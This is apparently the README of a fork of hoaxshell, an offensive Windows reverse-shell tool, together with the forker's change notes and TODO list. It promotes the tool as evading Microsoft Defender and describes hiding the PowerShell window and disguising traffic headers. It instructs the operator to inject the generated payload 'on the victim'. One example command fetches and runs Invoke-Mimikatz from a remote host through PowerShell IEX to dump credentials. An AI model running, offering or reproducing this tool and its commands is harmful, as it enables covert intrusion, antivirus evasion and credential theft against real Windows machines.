Hoaxshell fork edits/notes by amartinsec:

Changed:

• added ability to use Openssl to generate certs on the fly
  • stored in certs/
• changed the banner since one of the letters looked like something else...
• added -WindowStyle Hidden to the payload to hide the ps window after execution
• changed the name of the X-hoax-id header to X-Requested-With --> need to make this a user definable option from a cmd line param or config file
• added the ability to specify the http server line

TODO:

• change the hoaxshell> prompt to the working dir
  • Attempted to do this by having:

    pwd | Out-Default; <user_input>
    

  if the user selected to, but the current code cuts everything before the pipe out
  • Little time was spent on this and I need to figure out how to do it properly
• Implement a way to allow users to choose the name for the X-hoax-id
• Implement features to create malleable profiles similar to Cobalt Strike:
  • Allow for customization of the traffic to evade detection
• Allow for randomization of http request from set list

hoaxshell

Purpose

hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and other AV solutions as it is solely based on http(s) traffic. The tool is easy to use, it generates it's own PowerShell payload and it supports encryption (ssl).

So far, it has been tested on fully updated Windows 11 Enterprise and Windows 10 Pro boxes (see video and screenshots).

Video Presentation

https://www.youtube.com/watch?v=SEufgD5UxdU

Screenshots

Find more screenshots here.

Installation

git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

Usage

Basic shell session over http

sudo python3 hoaxshell.py -s <your_ip>

When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the "rawpayload" prompt command or start hoaxshell with the -r argument. After the payload has been executed on the victim, you'll be able to run PowerShell commands against it.

Encrypted shell session (https):

# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>

The generated PowerShell payload will be longer in length because of an additional block of code that disables the ssl certificate validation.

Grab session mode

In case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine.

sudo python3 hoaxshell.py -s <your_ip> -g

Important: Make sure to start hoaxshell with the same settings as the session you are trying to restore (http/https, port, etc).

Limitations

The shell is going to hang if you execute a command that initiates an interactive session. Example:

# this command will execute succesfully and you will have no problem: 
> powershell echo 'This is a test'

# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell

# In the same manner, you won't have a problem executing this:
> cmd /c dir /a

# But this will cause your hoaxshell to hang:
> cmd.exe

So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands:

hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context.

Future

I am currently working on some auxiliary-type prompt commands to automate parts of host enumeration.